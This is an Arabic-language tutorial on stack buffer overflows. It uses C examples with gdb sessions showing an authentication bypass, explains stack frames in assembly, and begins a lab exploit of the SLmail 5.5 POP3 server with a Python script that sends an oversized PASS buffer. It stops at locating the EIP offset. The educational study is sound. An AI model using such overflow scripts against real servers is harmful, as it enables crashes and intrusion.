 ذذا مثال يوضح حالة من 

تم اكتشاقها  .BOFحالات ال 

التصحيح  أثناء تفعيل طاصية

 .Word ال برنامج الإملائي في

 

 

“Buffer Overrun Detected error after you installs Office 2003 Service Pack 3 for Hebrew”  

The Hebrew version of Microsoft Office Word 2003 Service Pack 3 may stop responding when 

you run a spelling and grammar check or when you use a custom dictionary that was created 

before Service Pack 3.  

You may receive the following error message:  

 

Microsoft Visual C ++ Runtime library  

buffer overrun detected! Program: C:\Program Files\Microsoft Office\Office11\Winword.exe, A 

buffer overrun has been detected which has corrupted the program's internal state. The program 

cannot safely continue execution and must now be terminated.  

 

 .يط لنفهم كيف تَح دُث ذذه الثغرةنأطذ مثال بسس
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 ذا الكود:ذمَعي  تأمل

#include <stdio.h> 

#include <string.h> 

 

int main(int argc, char *argv[]) { 

  int value = 5; 

  char buffer_one[8], buffer_two[8]; 

  strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */ 

  strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */ 

 

  printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n",  

         buffer_two, buffer_two); 

  printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n",  

         buffer_one, buffer_one); 

  printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value,  

         value, value); 

 

  printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  

         strlen(argv[1])); 

  strcpy(buffer_two, argv[1]); /* Copy first argument into  

                                  buffer_two. */ 

  

  printf("[AFTER] buffer_two is at %p and contains \'%s\'\n",   

         buffer_two, buffer_two); 

  printf("[AFTER] buffer_one is at %p and contains \'%s\'\n",   

         buffer_one, buffer_one); 

  printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value,  

         value, value); 

} 

 

 في ذذا الكود:

ن المُ  inputنَحنُ ب صَدد استقبال  م وذو ال م   .buffer_two ل نقَوم ب وضعه  في ال argv[1]ستَخد 
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أي أنها ستتعامل  char arrayلاحظ أنها ، bytes 10ب مُعَدّل  ”1234567890“عشوائية.. مثلًا  Inputسنقوم بإداطل 

 .ققط byte 1قسيشغل  charرقم وكأنه مع ال

 ذيا لنشُاذد النتائج:

reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c 

reader@hacking:~/booksrc $ ./overflow_example 1234567890 

[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two' 

[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one' 

[BEFORE] value is at 0xbffff804 and is 5 (0x00000005) 

[STRCPY] copying 10 bytes into buffer_two 

[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890' 

[AFTER] buffer_one is at 0xbffff7f8 and contains '90' 

[AFTER] value is at 0xbffff804 and is 5 (0x00000005) 

reader@hacking:~/booksrc $ 

 

داطل مُتغير مُُصّص  bytes 10بالفعل، بسبب مُحاولة وضع  Overflowأنه تم حدوث  boldر ال نُلاحظ في السط

 ققط. bytes 8ل يستوع ب 

 bufferكما ظَهَرَ لنا.. وذذا لأن ال  buffer_one للمُتغير overflowبعمل  ةالزائد bytes 2وبالتالي قامت ذذه ال 

 .memoryداطل ال  منها ةالقريبيرات الأطرى للمُتغ overflowتُسبِّب  عن المألوف ةزائدال

ب لدطال   كبيرة نسبياً ونُشاذد ما يحدُث: inputسنجُرِّ

reader@hacking:~/booksrc $ ./overflow_example 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' 

[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' 

[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) 

[STRCPY] copying 29 bytes into buffer_two 

[AFTER] buffer_two is at 0xbffff7e0 and contains 

'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 

[AFTER] buffer_one is at 0xbffff7e8 and contains 

'AAAAAAAAAAAAAAAAAAAAA' 
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[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) 

Segmentation fault (core dumped) 

reader@hacking:~/booksrc $ 

 

 ذذه المرة!. overflowله أيضاً حدث  ”int value 5“لاحظ أن المتغير 

 أكثر لنختبر ذذا الكود: Bufferسنزيد ال 

reader@hacking:~/booksrc $ ./notesearch 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

-------[ end of note data ]------- 

Segmentation fault 

reader@hacking:~/booksrc $ 

 

ظ أنهُ قد تَسببَ في حُدوث   للبرنامج. crashنُلاح 

 

The Stack  

 

 قبل أن نبدأ.. 

رُك ب بَعض س  :”the shellcoder’s handbook“بعض الأسطر من كتاب ، مايلي المعلومات التي ناقشناذا سابقاً أُذَكِّ

"When a program is executed, it is laid out in an organized manner—various elements of the 

program are mapped into memory. First, the operating system creates an address space in which 

the program will run. This address space includes the actual program instructions as well as any 

required data. Next, information is loaded from the program’s executable file to the newly 

created address space. There are three types of segments: .text, .bss, and .data. The .text segment 

is mapped as read-only, whereas .data and .bss are writable. The .bss and .data segments are 
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reserved for global variables. The .data segment contains static initialized data, and the .bss 

segment contains uninitialized data. The final segment, .text, holds the program instructions. 

Finally, the stack and the heap are initialized". 

 

↑ Lower addresses (0x08000000) 

Shared libraries 

.text 

.bss 

Heap (grows ↓) 

Stack (grows ↑) 

env pointer 

Argc 

↓ Higher addresses (0xbfffffff) 

 

 ؟..Stackذل تتذكر متى كُنا نتعامل مع ال 

ندما  تعاملنا معها  .Function Call لجراء جناحتاع 

ل ال  ةطفيف ةنُزذ نأطُذس  ذذه!. Function Callال  عملية و Stackداط 

 
Let’s think about what happens in a function call: 

 When a function call is executed, the arguments need to be evaluated to values. 

 Then, control flow jumps to the body of the function, and code begins executing there.  

 Once a return statement has been encountered, we're done with the function, and return back to 

the function call.  

 

ه ال  Stackيَتَكوّن في ال ، ”function call“ل كُل عَمَلية  ذ    .”Stack Frame“. نُطلق عليه functionجُزء مُُصّص له 

 كما يبدو في ،حينها على ذذه الهيئة Stackحَيثُ تكون ال ، ( )main لنتخيل معاً أننا داطل برنامج صغير يبدأ بال

 :(1)الشكل رقم في  الصفحة التالية،
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ويُشير ال ، ( )main الخاص بال stack frame يظهر الكما ترى 

Stack Pointer (SP)  للى بداية الFunction يظهر ذذا ال .

Frame  عندما تبدأ الmain( ) .لنتخيل وجود عملها function 

 .( )fooاسمها ، ( )main داطل المن  callيحدث لها أطرى 

ذذه ال ، Two Argumentsتأطذ مثلاً  ( )fooذذه ال 

Arguments ل وَضع هم في ال  ةسَنكَون ب حاجStack . 

ولرجاع النانج وذو ال  ةحسابي ةذذه بإجراء عملي ( )fooتقوم س

return value  للى الmain( )  من قبل.كما اعتدنا 

 

 :(2) في الشكل رقم يظهركما  stackيكون شكل ال 

 ليُشير للى حيثُ  Stack Pointerثم انتقل ال ، Stack للى ال ( )fooالخاصة بال  Argumentsلل  Pushتم عَمَل 

سابه Return value.. ذذا ال Return valueال   سيتم ح 

د أن بع spaceوبالتالي سيتم ملئ ذذه ال . ( )fooبواسطة 

ن عملها ( )fooتنتهي  رُبما  ،Argumentsبعد وضع ال  .م 

 .. local variablesعدد من ال  functionذذه ال  تلكتم

كي  Stackلم ساحةٍ ما على ال  pushمَل لعَ  ( )fooسَتحتاج 

مها  ع ل  تستخد  ولجراء  "Local Variables"ال ذذه وَض 

 .عملياتها

Figure 1 

Figure 2 
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 بعد ذذه التعديلات: Stackبدو عليه ال يوضح ما ست (3) رقم، الشكل التالي

 
Figure 3 

 .( )fooال  داطل Stack Pointerوانتقل ال  ( )fooالخاص بال  Frameلَقَد تم  تكوين ال 

 

 لليها؟ SPلماذا ينتقل ال 

لهذه  SP، وبالتالي ينتقل ال ESPلل  decrementستتم بعمل  ( )fooللمساحة الخاصة ب  allocationن عملية ال لأ

 .ةالمساحة الجديد

 

  .”Frame Pointer“لنه ال .. الذي ظهرلنا؟ FPولكن ما ذذا ال 
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ب تحريكه  للى حيثُ ال  ( )fooقبل أن تقومَ  Stack Pointerالذي كانَ يَق ف عليه ال  Addressال ذذا الشيء يُشير للى 

Local Variables .الخاصة بِا 

Points to the location where the stack pointer was, just before foo( ) moved the stack pointer 

for foo( )'s own local variables. 

ع؟  ولماذا يُشير للى ذلك الموض 

  .من عملها ( )fooمرةً أطرى بعد أن تنتهي  لليهبالعودة  Stack Pointerكي يتمكن ال 

 

 كيف يعود لذاً؟

 reduceويسبب ذلك حدوث  FPللى ال  SPقينتقل ال  move [%EBP, %ESP]أشبه بِذه:  instructionبتنفيذ 

 )4)رقم  كما ذو موضح في الشكل .stackلل 

Figure 4 
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 ..بمثال عملي function callعملية ال سأوضح لك 

 :مايلي الخطوات بالترتيب

1. Push the parameters in the reverse order (right to left). 

2. "Call" function now. It implicitly pushes the return address into STACK. 
[[ call func ]] 

 (return valueوال  return addressلا تَخل ط بيَن ال  ..!)انتبه

            ------ Now enters the called procedure ------ 

3. Push the current EBP ie. Frame Pointer (FP) of calling function into stack. We need to do 

this to continue with the execution of calling function after return from the called 

function. [[ pushl %ebp ]] 

4. Copy the ESP to EBP. (yes, this location will be new FRAME POINTER) 
[[ movl %esp, %ebp ]] 

5. Allocate space on stack for local variables. It's done by decrementing ESP. 
[[ subl $4, %esp ]] 

------ Do some processing ------ 

6. Put the value to be returned in EAX.  

----- Start unwinding STACK ------ 

7. Copy current EBP to ESP, it will reduce stack's size. Now we have old FP at the top of 

the stack. 
[[ movl %ebp, %esp]] 

8. Pop a 32 bit value (which is old frame pointer) and stuff it into EBP. (undoing Step 3) 
[[ popl %ebp ]] 

9. The "ret" instruction pops a 32 bit value from the stack and stuffs into the program 

counter. 
[[ ret ]] 

** Steps 7 and 8 are combined in single instruction "leave". 
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 :Assembly codeوالآن لنشاذد ذذه الخطوات بال 

 
func1: 

        pushl   %ebp              <-- Step 3, Push EBP 

        movl    %esp, %ebp        <-- Step 4, Copy ESP -> EBP 

        subl    $4, %esp          <-- Step 5, Create space on stack for t 

        movl    $8, -4(%ebp)      <-- Initialize "t" to 8 

        movl    -4(%ebp), %eax    <-- Step 6, Copy "t" to EAX 

        addl    8(%ebp), %eax     <-- Step 6, Add "c" to EAX 

            leave                 <-- Step 7 and 8: 

                                7: Restore ESP (EBP -> ESP) 

                                8: Restore EBP (Pop STACK -> EBP) 

        ret                       <-- Step 9, (Pop STACK -> Program Counter) 

 

main: 

        ......... 

        pushl   a                 <-- Step 1, push parameters 

        call    func1             <-- Step 2, call func1 

        addl    $16, %esp 

        movl    %eax, -4(%ebp) 

        movl    -4(%ebp), %eax 

        movl    %eax, c 

        ......... 

  articles.manugarg.comمن موقعالمثال مقتبس 

 
 
 

Stack Overflow 

 

ثال ل نوُضح به  ال   .Stack Overflowسنأطُذ م 

ن ال  Functionما يلي كود عبارة عن  عن طريق  user authenticationل تقوم بَعَمَل ال  ( )mainيَت م استدعاؤذا م 

يَ بمُقارنَت ها بقيمةٍ  ض النتائج. ك تابتك ل كَل مَة المُرور، ل تقوم ذ   ما، ثُم  عَر 
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#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

int check_authentication(char *password) { 

  int auth_flag = 0; 

  char password_buffer[16]; 

 

  strcpy(password_buffer, password); 

 

  if(strcmp(password_buffer, "brillig") == 0) 

     auth_flag = 1; 

  if(strcmp(password_buffer, "outgrabe") == 0) 

     auth_flag = 1; 

 

  return auth_flag; 

} 

 

int main(int argc, char *argv[]) { 

  if(argc < 2) { 

     printf("Usage: %s <password>\n", argv[0]); 

     exit(0); 

  } 

  if(check_authentication(argv[1])) { 

     printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 

     printf(" Access Granted.\n"); 

     printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 

  } else { 

     printf("\nAccess Denied.\n"); 

  } 

} 

 

 وذي كَلمة الُمرور، userمن ال  argv[1] ستقوم باستقبال ( )check_authenticationيَظهَر في المثال 
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بارة  ”outgrabe“أو  ”brilling“ثُم  مُقارنت ها بالقيمة  password_buffer لتقوم بوضعها في ال يَت م ط باعَة ع 
 Access“ل 

Granted”. 

 ..ذيا لنجُرب ذذا الكود:

reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c 

reader@hacking:~/booksrc $ ./auth_overflow 

Usage: ./auth_overflow <password> 

reader@hacking:~/booksrc $ ./auth_overflow test 

Access Denied. 

reader@hacking:~/booksrc $ ./auth_overflow brillig 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

Access Granted. 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

reader@hacking:~/booksrc $ ./auth_overflow outgrabe 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

Access Granted. 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

reader@hacking:~/booksrc $ 

 

ند لدطالنا كَل مَة مُرور  ظ ع  سالة  testكَما تُلاح   !.Access Deniedظَهَرَت لنا ر 

ندَ مُحاول ا يَتسبّب في الحصُول على ال  inputة لدطال ولكن ع 
نَ اللازم سَنلُاحظ حُدوث الخلَل في سَير البرنامج مُ  أكبر م 

Access .!بدون الحاجة ل ك تابة كَل مَة المرور 

 

reader@hacking:~/booksrc $ ./auth_overflow 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

Access Granted. 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

reader@hacking:~/booksrc $ 

 !.Passwordلقد تمكن ا من الدطول بدون ال 
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 ونقوم بوضع  ،Debuggerتَعالَ نُشاذد ما حدث ب شكل تفصيلي.. سَنقوم ب تشغيل البرنامج باستخدام ال 

Breakpoint  ند عَملية نَسخ ال ند ال  ،bufferع   .( )check_authenticaionالخاص بال  return valueوآطر ع 

reader@hacking:~/booksrc $ gdb -q ./auth_overflow 

Using host libthread_db library 

"/lib/tls/i686/cmov/libthread_db.so.1". 

(gdb) list 1 

1 #include <stdio.h> 

2 #include <stdlib.h> 

3 #include <string.h> 

4 

5 int check_authentication(char *password) { 

6    int auth_flag = 0; 

7    char password_buffer[16]; 

8  

9    strcpy(password_buffer, password); 

10 

(gdb) 

11    if(strcmp(password_buffer, "brillig") == 0) 

12       auth_flag = 1; 

13    if(strcmp(password_buffer, "outgrabe") == 0) 

14       auth_flag = 1; 

15 

16    return auth_flag; 

17 } 

18 

19 int main(int argc, char *argv[]) { 

20    if(argc < 2) { 

(gdb) break 9 

Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9. 

(gdb) break 16 

Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16. 

(gdb) 

 

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Starting program: /home/reader/booksrc/auth_overflow 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
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Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats 

30 times>) at 

auth_overflow.c:9 

9        strcpy(password_buffer, password); 

(gdb) x/s password_buffer 

0xbffff7a0: ")????o??????)\205\004\b?o??p???????" 

(gdb) x/x &auth_flag 

0xbffff7bc: 0x00000000 

(gdb) print 0xbffff7bc - 0xbffff7a0 

$1 = 28 

(gdb) x/16xw password_buffer 

0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 

0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000 

0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 

0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc 

(gdb) 

 

(gdb) continue 

Continuing. 

Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 

30 times>) at 

auth_overflow.c:16 

16 return auth_flag; 

(gdb) x/s password_buffer 

0xbffff7a0: 'A' <repeats 30 times> 

(gdb) x/x &auth_flag 

0xbffff7bc: 0x00004141 

(gdb) x/16xw password_buffer 

0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 

0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141 

0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 

0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc 

(gdb) x/4cb &auth_flag 

0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0' 

(gdb) x/dw &auth_flag 

0xbffff7bc: 16705 

(gdb) 
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(gdb) continue 

Continuing. 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

Access Granted. 

-=-=-=-=-=-=-=-=-=-=-=-=-=- 

Program exited with code 034. 

(gdb) 

 

 طر:عند ذذا الس الأولى breakpointيَظ هَر بالنتائج أننا قُمنا بتحديد 

9 strcpy(password_buffer, password); 

 

ر لَنا ال   .Memoryحالة ال  gdbحيثُ يتوقف البرنامج حينها ويُظه 

 address: 0xbffff7a0يَتواجَد في ذذا ال  password_bufferسنلُاحظ أن ال 

ل القيمة ) address: 0xbffff7bcيَقَع في ذذا ال  "Auth_flag variable"وأن  ال   0x00000000 :(0ويَحم 

د أنها  Auth_flagالتي تَسب ق ال  bytesقُمنا ب حساب عَدد ال   كما يلي:، byets 28ل نجَ 

(gdb) x/16xw password_buffer 

0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 

0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 

نهم  addressب ما أن  كُل  بارة عن م   (bytes * 7 = 28 bytes 4)قيُمك نُنا أن نقول:  bytes 4ع 

 0x00000000 وذو ال: "Location of auth_flag"ثم يبدأ بعدذا ال 

ندَ  ندَ السطر الثانية Breakpoint الذيا لنكُمل سَير  البرنامج ل نتََوَقّف ع  يَ ع   .16، وذ 

(gdb) x/x &auth_flag 

0xbffff7bc: 0x00004141 

(gdb) x/16xw password_buffer 

0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 

0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141 

ضَ ل  auth_flag لنهُ يُظهر لَنا أن  ال نهُ ب  bytes 2 جُزئي، ققد تَم  استبدال أول overflowقد تَعر   AAم 
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يَ وبالتالي ت ن صفر للى قيمة أُطرى ذ   : ةفي الصفحة التالي كما يظهر 16705غيرت قيمته م 

(gdb) x/dw &auth_flag 

0xbffff7bc: 16705 
 

 ل تَعتَبر  أي قيمة غير الصفر قيمة مقبولة!: ifونحنُ كُن ا قد استخدمنا دالة 

  if(strcmp(password_buffer, "brillig") == 0) 

     auth_flag = 1; 

  if(strcmp(password_buffer, "outgrabe") == 0) 

     auth_flag = 1; 

 

  return auth_flag; 

ل الُمتغير  !.Authentication قيمة غير الصفر، مُا يؤدي ل نجاح عملية ال auth_flag وبالتالي سَيَحم 

ذا البرنامج، الذي لو قُمنا له ”execution control point“ذو ال  auth_flag variableنستنتج من ذذا أن ال 

 بالتلاعب ب ه  نُحقق الهدف!.

 

 والآن كيف لنا تفادي ذذه الثغرة..؟

ن ا  bufferلل  overflowكُن ا في الم ثال السابق نقوم بعمل   bufferذذا ال  وذي كلمة المرور، inputالذي سيستقب ل م 

 .password_buffer[16]ذو: 

يقع  auth_flag مرة!، وبما أن ال 30 مُكَرّر  A الحرف ينما قُمنا نحن بإدطالرف لذلك، بح 16حيثُ تم تخصيص 

 ققد طالهُ الخطر أيضاً!. memoryمباشرةً في ال  password_bufferمكانه بعد ال 

 

ذ لجراء بسيط لتفادي حدوث ذذا الخلل:  سَنَت خ 
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سنقوم بوضعه قبل ال  memoryفي ال  bufferبعد ال  auth_flag.. قبدلاً من تواجد ال سنقوم بتبديل الأماكن

buffer  ه  لل ض   .overflowوبالتالي سنضمن عدم تَعرُّ

 
#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

int check_authentication(char *password) { 

  char password_buffer[16]; 

  int auth_flag = 0; 

 

  strcpy(password_buffer, password); 

 

  if(strcmp(password_buffer, "brillig") == 0) 

     auth_flag = 1; 

  if(strcmp(password_buffer, "outgrabe") == 0) 

     auth_flag = 1; 

 

  return auth_flag; 

} 

 

int main(int argc, char *argv[]) { 

  if(argc < 2) { 

     printf("Usage: %s <password>\n", argv[0]); 

     exit(0); 

  } 

  if(check_authentication(argv[1])) { 

     printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 

     printf(" Access Granted.\n"); 

     printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 

  } else { 

     printf("\nAccess Denied.\n"); 

  } 

} 
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 :الإجراء!ذذا  قاعلية ذيا لنتأكد من

reader@hacking:~/booksrc $ gcc -g auth_overflow2.c 

reader@hacking:~/booksrc $ gdb -q ./a.out 

Using host libthread_db library 

"/lib/tls/i686/cmov/libthread_db.so.1". 

(gdb) list 1 

1 #include <stdio.h> 

2 #include <stdlib.h> 

3 #include <string.h> 

4 

5 int check_authentication(char *password) { 

6    char password_buffer[16]; 

7    int auth_flag = 0; 

8 

9    strcpy(password_buffer, password); 

10 

(gdb) 

11   if(strcmp(password_buffer, "brillig") == 0) 

12       auth_flag = 1; 

13   if(strcmp(password_buffer, "outgrabe") == 0) 

14       auth_flag = 1; 

15 

16   return auth_flag; 

17 } 

18 

19 int main(int argc, char *argv[]) { 

20    if(argc < 2) { 

(gdb) break 9 

Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9. 

(gdb) break 16 

Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16. 

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Starting program: /home/reader/booksrc/a.out 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Breakpoint 1, check_authentication (password=0xbffff9b7 'A' <repeats 

30 times>) at 

auth_overflow2.c:9 
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9        strcpy(password_buffer, password); 

(gdb) x/s password_buffer 

0xbffff7c0: 

"?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\ 

bH???????\002" 

(gdb) x/x &auth_flag 

0xbffff7bc: 0x00000000 

(gdb) x/16xw &auth_flag 

0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8 

0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8 

0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848 

0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 

(gdb) 

(gdb) cont 

Continuing. 

Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 

30 times>) 

at auth_overflow2.c:16 

16 return auth_flag; 

(gdb) x/s password_buffer 

0xbffff7c0: 'A' <repeats 30 times> 

(gdb) x/x &auth_flag 

0xbffff7bc: 0x00000000 

(gdb) x/16xw &auth_flag 

0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141 

0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141 

0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848 

0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 

(gdb) 

 (gdb) c 

Continuing. 

Program received signal SIGSEGV, Segmentation fault. 

0x08004141 in ?? () 

 

 والآن ما رأيك؟

 ..auth_flag لل overflowلم يحدُث 
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ذا ال  overflowبدلاً من ذلك حدث ال   address 0x08004141:الجزُئي له 

ملاحظة الفرق  للى دناقوذذا يَ  !!.Crash..ولكن ذذا لم يمنع حدوث ال  ،Accessلم ينجح ذدقنا بالحصول على ال 

 ..Crashingو ال  Exploitabilityبين ال ، !ين التاليينمبين المفهو

 
Crashing on Application 

“Is the form of Denial of Service against the application” 

 

 ؟DoS Attack وما ذذا ال 

يتعامل  Resourceما أو أي   Serverمن  ةمللخدمة المُقَد   (Suspend)لنه ذجوم يتلخص في محاولة حجب أو تعليق 

عَ  Usersمعه ال  نَ ال  ةعن طريق لجهاده  بكميات غير مُتوَق   التي لا يتمكن من مُعالجَت ها أو التعامُل مَعَها!. inputsم 

 
Exploitability 

“Injecting and executing my own code within the vulnerable process” 

 

 :ةعبارالأمر في ذذه ال تطيع أن نلخصنس

“The Exploitability is the determination whether a crash can be tuned into an Exploit!” 

 

 .initial analysisوعمل ال  Debuggingنقوم باطتبار ذذا الأمر عن طريق ال 

 ..؟"أين"؟ و "لماذا"مثلًا أن نستطيع الإجابة على 

 قالأولى.. لماذا حدث ذذا ال crash ، مالخلل الحاد ث في البرنامج، والذي سبب ذذا الcrash.؟ 

  والثانية.. أين حدث ذذا الcrash؟ ..في أي موضع من البرنامج أو في أي سطر برمجي حدث ذذا الخلل؟ 

ا عَن طَريق مُراقَبَة ال  analysisذذه ال   .Registersنَقوم بِ 
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، يُفيدُنا في تحديد المكان أو ال crashعند حدوث ال  Heapأو ال  Stackل يُشير للى ا EIPقمثلًا معرقة ما لذا كان ال 

Block  الذي سنقوم بعملinject  للcode  أو الexploit  يام ب توجيه ال !، ثُم  الق 
للى ذذا المكان  Stack Pointerب ه 

ع ال  memoryداطل ال  ن وَض 
(. Shellcode)الذي تَمكَناّ م   ب ه 

ندما يَحدُث ال  captureذُنا لأنه يَقوم ب عَمَل  Debugger أيضاً يخدمنا ال الة البرنامج ع   .Exceptionلح 

 

 ..؟Exceptionما ذذا ال 

 أستطيع وصفه على ذذا النحو:

It is a potentially uncoverable operation in a program that may cause that program to terminate 

unexpectedly. 

 

 لة على ذذا الحدث: من الأمث

 !عملية القسمة على الصفر. 

 ل البرنامج عَمَل و ل ال  location يلأ accessأيضاً عندما يُحاو  لهُ!، أو التي لا  ةليست مُُصَّصَ  memoryداط 

 يقوم بعمل  Operating Systemيَمتلك صَلاحيات الدُطول لليها، لأنهُ كما نعلم أن  ال 

"process isolation"  ن ال كَنوع  .protection mechanismsم 
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Putting things all together 
 

 ، سنقوم بممارسة عملية لتدعيم كل ما تم شرحهُ من قبل.ةالآن وبعد أن استوعبت العديد من الأمور الشيق

 

 ماذا سنحتاج لبيئة الإطتبار؟

 .اص بِمكنك تحميلهُ من الموقع الخيُم VMware workstation 12سنستخدم برنامج ال  -1

، أيضاً يُمك نكُ تحميلها بشكل مجاني من الموقع الخاص بِا، كما يُمك نكُ تحميلها كنُسخة من Kali Linuxنُسخة  -2

 .VMware Imageنوع 

 .Windows 7..أيضاً ينجح الإطتراق مع  iso.بامتداد  Win XPنُسخة  -3

 . SLmail 5.5نُسخة برنامج  -4

 ؟SLmailوما ذذا ال 

 ويعمل على أنظمة ويندوز. SMTPوال  POP3م ال يدع Mail Serverلنه 

 .XP سخة اللنقوم بتنصيبه على نُ  Immunity Debuggerبرنامج  -5

 

  ..قبل أن نبدأ

 .DEP & ASLR  أنظمة التشغيل، هماماأشهر تقنيتين للحمايه تستخدمه سنتكلم باطتصار عن

 لأننا سنتعرض لهم أثناء لجراء اطتبار الإطتراق..
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Data Execution Prevention (DEP):  
is a set of hardware, and software, technologies that perform additional checks on memory, to 

help prevent malicious code from running on a system. The primary benefit of DEP is to help 

prevent code execution by raising an exception, when execution occurs. 

 

Address Space Layout Randomization (ASLR): 

ASLR randomizes the base addresses of loaded applications, and DLLs, every 

time the Operating System is booted. 

 

 ذيا ل نبدأ رحلتنا..

 طتبار.في الإ ةشكل يُعبرِّ عن البيئة المُستخدَم في الصفحة التالية

 .Win XPالخاص بنا على ال  Debuggerوال  SLmailقُمنا قيه بتنصيب ال 

 

 نأتي للى الخطُوة الأولى..

 

 

Preparing and Sending our Buffer 

، وذو 110عبر المنفذ  trafficأنه يسمح بمرور ال  Windowsالخاص بال  Firewallتأكد في البداية من لعدادات ال 

 بشكل مؤقت لن أردت. Firewallمكنك ليقاف ال أو ي ،POP3منفذ ال 
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 ولضاقة ذذا الكود بداطله: txt، وقتح ملف Kali Linuxسنقوم بتشغيل 

 

#!/usr/bin/python 

 

import socket 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

buffer = 'A' * 2700  

try: 

   print "\Sending evil buffer..." 

   s.connect(('192.168.18.131',110)) 

   data = s.recv(1024) 

   s.send('USER username' + '\r\n') 

   data = s.recv(1024) 

   s.send('PASS' + buffer + '\r\n') 

   print "\Done!." 

except: 
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   print "Could not connect!" 

 

 POP3وذو المنفذ الخاص ببروتوكول  110يقوم بالإتصال بالمنفذ ر باطتصا ذو، Pythonمكتوب بلغة ال  الكودذذا 

 2700 اً مُكرر A بإرسال حرف ال BoF، وذلك  بعمل ذجوم Mail boxللى ال  Remote Accessلعمل  ةفي محاول

 الُمخصص لنا!. Bufferللى ال  ةمر

ثُم  File، واطتر Debuggerل ال لديك. ثُم اذذب للى الويندوز وقم بتشغي Terminalقم بحفظ الملف واقتح ال 

Attach  ثمSlmail  ُلاحظ وجود منفذ ال ستPOP3  تحت طانة ال  110وذوListening،  ثُم اضغط علىRun.  قم

 ذو اسم الملف: fuzz2حيث  fuzz2.py/. لتنفيذ الكود بكتابة الأمر Terminalبالقفز للى ال 
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 ى ما حدث!..لنر Win XPداطل ال  Debuggerذيا لنعود للى ال 

 .EIP Register بالفعل كما ترى، وقد وصل للى ال Overflowلقد حدث 

 
 

  ةذذا جيد.. ذيا لننتقل للى الخطوة الثاني

 

 

Binary Tree Analysis 

عنريد ذُنا تحديد   .ةالُمرسَلَ  A*2700 المن بين ذذه  EIPلل  Overwriteالتي أحدثت  "4A’s"ال  موض 
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 ..؟ Stack Overflow طرحناذا بعد مثال الذل تتذكر الأسئلة التي 

 ..؟Crashكانت أين ومتى حدث ال 

سب  الُمرسَل. bufferداطل ال " 4A’s"لتخمين مكان ذذه ال  ةفي مُحاول ةسِيع ةرياضي ةسنقوم بعمل ح 

